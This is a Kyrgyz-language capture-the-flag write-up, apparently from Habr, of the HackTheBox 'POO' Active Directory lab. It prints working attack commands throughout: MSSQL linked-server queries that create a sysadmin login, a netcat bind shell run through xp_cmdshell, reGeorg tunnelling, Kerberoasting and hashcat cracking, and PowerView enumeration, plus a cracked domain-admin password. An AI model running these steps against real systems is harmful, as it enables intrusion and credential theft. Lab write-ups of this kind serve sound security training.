Бул макалада биз жөн гана машина эмес, бүтүндөй бир мини-лабораториянын сайттан өтүшүн талдайбыз
Сүрөттөмөдө айтылгандай, POO кичинекей Active Directory чөйрөсүндө чабуулдардын бардык баскычтарында көндүмдөрдү текшерүү үчүн иштелип чыккан. Максаты - жеткиликтүү хостту бузуу, артыкчылыктарды жогорулатуу жана акырында 5 желекти чогултуу менен бүт доменди бузуу.
Лабораторияга туташуу VPN аркылуу. Жумушчу компьютерден же сиз үчүн маанилүү маалыматтар бар хосттон туташпоо сунушталат, анткени сиз маалымат коопсуздугу жаатында бир нерсени билген адамдар менен жеке тармакта болосуз :)
Уюштуруу маалыматы
Жаңы макалалар, программалык камсыздоо жана башка маалыматтар менен кабардар болуп турууга жардам берүү үчүн мен түздүм
Бардык маалыматтар билим берүү максатында гана берилген. Бул документтин автору бул документти изилдөөдөн алынган билимдерди жана ыкмаларды колдонуунун натыйжасында эч кимге келтирилген зыян үчүн эч кандай жоопкерчиликти албайт.
Intro
Бул акыркы оюн эки машинадан турат жана 5 желекти камтыйт.
Жеткиликтүү хосттун сүрөттөлүшү жана дареги да берилет.
Баштайлы!
Recon желеги
Бул машинанын 10.13.38.11 IP дареги бар, мен аны /etc/hosts дарегине кошом.
10.13.38.11 poo.htb
Биринчиден, биз ачык портторду сканерлейбиз. Бардык портторду nmap менен сканерлөө көп убакытты талап кылгандыктан, мен муну адегенде masscan аркылуу жасайм. Биз tun0 интерфейсинен бардык TCP жана UDP портторун секундасына 500 пакет ылдамдыкта сканерлейбиз.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Эми, порттордо иштеген кызматтар жөнүндө көбүрөөк маалымат алуу үчүн, келгиле, -A опциясы менен сканерлейли.
nmap -A poo.htb -p80,1433
Ошентип, бизде IIS жана MSSQL кызматтары бар. Бул учурда, биз домендин жана компьютердин чыныгы DNS атын табабыз. Веб серверде бизди IIS башкы бети тосуп алат.
Келгиле, каталогдорду карап көрөлү. Мен бул үчүн gobuster колдоном. Параметрлерде биз жиптердин санын 128 (-t), URL (-u), сөздүк (-w) жана бизди кызыктырган кеңейтүүлөрдү (-x) көрсөтөбүз.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Бул бизге /admin каталогу үчүн HTTP аутентификациясын, ошондой эле .DS_Store файлына жеткиликтүү иш такта кызматын берет. .DS_Store файлдар тизмеси, сөлөкөтүн жайгашкан жерлери жана тандалган фон сүрөтү сыяктуу папка үчүн ыңгайлаштырылган орнотууларды сактаган файлдар. Мындай файл веб-иштеп чыгуучулардын веб-сервер каталогуна түшүп калышы мүмкүн. Ушундай жол менен биз каталогдун мазмуну жөнүндө маалымат алабыз. Бул үчүн сиз колдоно аласыз
python3 dsstore_crawler.py -i http://poo.htb/
Биз каталогдун мазмунун алабыз. Бул жерде эң кызыктуу нерсе - бул /dev каталогу, андан биз булактарды жана db файлдарын эки бутакта карай алабыз. Бирок, эгерде кызмат IIS ShortName үчүн аялуу болсо, биз файлдын жана каталогдун аталыштарынын алгачкы 6 символун колдоно алабыз. Сиз бул кемчиликти колдонуп текшере аласыз
Жана биз "poo_co" менен башталган бир текст файлын табабыз. Эми эмне кыларымды билбей, каталог сөздүгүнөн “ко” менен башталган сөздөрдүн баарын тандап алдым.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Жана биз аны wfuzz аркылуу иргейбиз.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Жана биз туура сөздү табабыз! Биз бул файлды карап, эсептик дайындарды сактайбыз (DBNAME параметри боюнча, алар MSSQLден).
Биз желекти тапшырып, 20% алдыга жылабыз.
Эх желек
Биз MSSQL менен байланышабыз, мен DBeaver колдоном.
Биз бул маалымат базасынан кызыктуу эч нерсе таба алган жокпуз, SQL Редакторун түзүп, кандай колдонуучулар бар экенин текшерип көрөлү.
SELECT name FROM master..syslogins;
Бизде эки колдонуучу бар. Келгиле, артыкчылыктарыбызды текшерип көрөлү.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Ошентип, эч кандай артыкчылыктар жок. Шилтемеленген серверлерди карап көрөлү, мен бул техника жөнүндө майда-чүйдөсүнө чейин жаздым
SELECT * FROM master..sysservers;
Бул дагы бир SQL Server табабыз. Келгиле, openquery() аркылуу бул серверде буйруктардын аткарылышын текшерип көрөлү.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Ал тургай, биз суроо дарагын кура алабыз.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Кеп, биз шилтемеленген серверге суроо-талап кылганыбызда, суроо-талап башка колдонуучунун контекстинде аткарылат! Келгиле, шилтемеленген серверде кайсы колдонуучунун контекстинде иштеп жатканыбызды карап көрөлү.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Эми биздикине байланышкан серверден сурам кандай контекстте жасалганын карап көрөлү!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Ошентип, DBO контексти бардык артыкчылыктарга ээ болушу керек. Шилтемеленген серверден суроо келип түшкөн учурда артыкчылыктарды текшерип көрөлү.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Көрүнүп тургандай, бизде бардык артыкчылыктар бар! Ушинтип өзүбүздүн админ түзөлү. Бирок алар ачык суроо аркылуу уруксат бербейт, келгиле, EXECUTE AT аркылуу жасайлы.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ал эми азыр биз жаңы колдонуучунун эсептик маалыматтары менен байланышып, жаңы желек базасын байкап жатабыз.
Биз бул желекти тапшырып, улантабыз.
BackTrack желеги
MSSQL аркылуу кабык алалы, мен импакет пакетинен mssqlclient колдоном.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Биз сырсөздөрдү алышыбыз керек жана биз буга чейин жолуккан биринчи нерсе бул веб-сайт. Ошентип, бизге веб-сервер конфигурациясы керек (бул ыңгайлуу кабык калтыруу мүмкүн эмес, сыягы, брандмауэр иштеп жатат).
Бирок кирүүгө тыюу салынган. Биз MSSQLден файлды окуй алсак да, кандай программалоо тилдери конфигурацияланганын билишибиз керек. Жана MSSQL каталогунда биз Python бар экенин билебиз.
Анда web.config файлын окууда эч кандай көйгөй болбойт.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Табылган эсептик маалыматтар менен, /adminге барып, желекти алыңыз.
Аяк желек
Чындыгында, брандмауэрди колдонууда кээ бир ыңгайсыздыктар бар, бирок тармак жөндөөлөрүн карап көрсөк, биз IPv6 да колдонулганын байкайбыз!
Бул даректи /etc/hosts дарегине кошолу.
dead:babe::1001 poo6.htb
Келгиле, хостту кайрадан сканерлейли, бирок IPv6 протоколун колдонуп.
Ал эми WinRM кызматы IPv6 аркылуу жеткиликтүү. Келгиле, табылган эсептик маалыматтар менен байланышалы.
Иш столунда желек бар, аны тапшырабыз.
П00ланган желек
колдонуу менен хост боюнча чалгындоо жүргүзүү кийин
setspn.exe -T intranet.poo -Q */*
Келгиле, MSSQL аркылуу буйрукту иштетели.
Бул ыкманы колдонуу менен биз p00_hr жана p00_adm колдонуучуларынын SPNсин алабыз, бул алар Kerberoasting сыяктуу чабуулга алсыз экенин билдирет. Кыскача айтканда, биз алардын сырсөз хэштерин ала алабыз.
Алгач сиз MSSQL колдонуучусу катары туруктуу кабык алышыңыз керек. Бирок мүмкүнчүлүгүбүз чектелүү болгондуктан, биз хост менен 80 жана 1433 порттору аркылуу гана байланыша алабыз. Бирок 80-порт аркылуу трафикти туннельдештирүү мүмкүн! Бул үчүн биз колдонобуз
Бирок биз ага кирүүгө аракет кылганда 404 катасын алабыз.Бул *.aspx файлдары аткарылбай калганын билдирет. Бул кеңейтүүлөр менен файлдар аткарылышы үчүн, ASP.NET 4.5ти төмөнкүдөй орнотуңуз.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ал эми азыр, биз tunnel.aspx киргенде, биз баары барууга даяр деген жооп алабыз.
Келгиле, трафикти өткөрө турган колдонмонун кардар бөлүгүн ишке киргизели. Биз бардык трафикти 5432 портунан серверге жөнөтөбүз.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Жана биз прокси аркылуу каалаган тиркеменин трафигин жөнөтүү үчүн прокси чейндерди колдонобуз. Келгиле, бул проксиди /etc/proxychains.conf конфигурация файлына кошолу.
Эми программаны серверге жүктөйбүз
Эми биз угуучуну MSSQL аркылуу ишке киргизебиз.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Жана прокси аркылуу байланышабыз.
proxychains rlwrap nc poo.htb 4321
Жана хэштерди алалы.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Андан кийин сиз бул хэштерди кайталашыңыз керек. Rockyou сөздүгүндө бул сырсөздөр жок болгондуктан, мен Seclists'те берилген БАРДЫК сырсөз сөздүктөрүн колдондум. Издөө үчүн биз hashcat колдонобуз.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Жана биз эки сырсөздү тең табабыз, биринчиси dutch_passwordlist.txt сөздүгүнөн, экинчиси Keyboard-Combinations.txt'тен.
Ошентип, бизде үч колдонуучу бар, келгиле домен контроллерине баралы. Алгач анын дарегин билебиз.
Жакшы, биз домен контролерунун IP дарегин билдик. Келгиле, домендин бардык колдонуучуларын, ошондой эле алардын кайсынысы администратор экенин билели. PowerView.ps1 маалымат алуу үчүн скрипт жүктөп алуу. Андан кийин биз -s параметриндеги скрипт менен каталогду көрсөтүп, evil-winrm аркылуу байланышабыз. Анан биз жөн гана PowerView скриптин жүктөйбүз.
Эми биз анын бардык функцияларына кире алдык. p00_adm колдонуучусу артыкчылыктуу колдонуучуга окшош, ошондуктан биз анын контекстинде иштейбиз. Бул колдонуучу үчүн PSCredential объектисин түзөлү.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Эми биз Creds белгилеген бардык Powershell буйруктары p00_adm катары аткарылат. Келгиле, колдонуучулардын тизмесин жана AdminCount атрибутун көрсөтөлү.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ошентип, биздин колдонуучу чындап артыкчылыкка ээ. Анын кандай топтордо экенин карап көрөлү.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Акыры, колдонуучунун домен администратору экенин ырастайбыз. Бул ага домен контроллерине алыстан кирүү укугун берет. Келгиле, биздин туннелди колдонуп WinRM аркылуу кирүүгө аракет кылалы. Evil-winrm колдонууда reGeorg чыгарган каталар мени чаташтырды.
Анда келгиле, башка, жеңилин колдонолу,
Биз туташууга аракет кылып жатабыз жана системадабыз.
Бирок желек жок. Андан кийин колдонуучуну карап, иш такталарын текшериңиз.
Биз mr3ks желегин табабыз жана лаборатория 100% бүттү.
Баары болду. Пикир катары, бул макаладан жаңы нерсе үйрөндүңүзбү жана ал сизге пайдалуу болдубу деп комментарий бериңиз.
Бизге кошулсаңыз болот
Source: www.habr.com